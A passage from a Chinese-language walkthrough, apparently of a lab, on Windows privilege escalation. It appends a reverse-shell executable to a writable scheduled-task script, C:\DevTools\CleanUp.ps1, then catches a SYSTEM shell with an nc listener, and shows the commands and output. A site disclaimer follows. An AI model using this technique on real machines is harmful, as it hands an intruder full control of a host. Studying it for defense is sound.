SYNCHRONIZE
READ_CONTROL
C:\\Users\\user\\Desktop>
可以看到我们有权限写到这个文件。
备份脚本
copy C:\\DevTools\\CleanUp.ps1 C:\\Users\\user\\Desktop\\
然后我们可以想办法让这个脚本执行我们想执行的程序，例如：执行shell，这样我们就可以继承运行这个程序的身份权限。
echo C:\\Users\\user\\Desktop\\reverse.exe >> C:\\DevTools\\CleanUp.ps1
kali进行监听
nc -lvnp 6666
等待计划任务运行，就会以 SYSTEM 身份触发反向 shell。
┌──(root💀kali)-[~/桌面]
└─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.4.19.237] from (UNKNOWN) [10.10.204.174] 49825
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
免责声明：
H4K6技术社区所提供的一切软件、教程、漏洞信息、破解补丁、注册机、注册信息及软硬件解密分析文章等仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请自行承担。H4K6技术社区不承担任何因为技术滥用所产生的连带责任。H4K6技术社区所有发布的信息资源来源于互联网，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
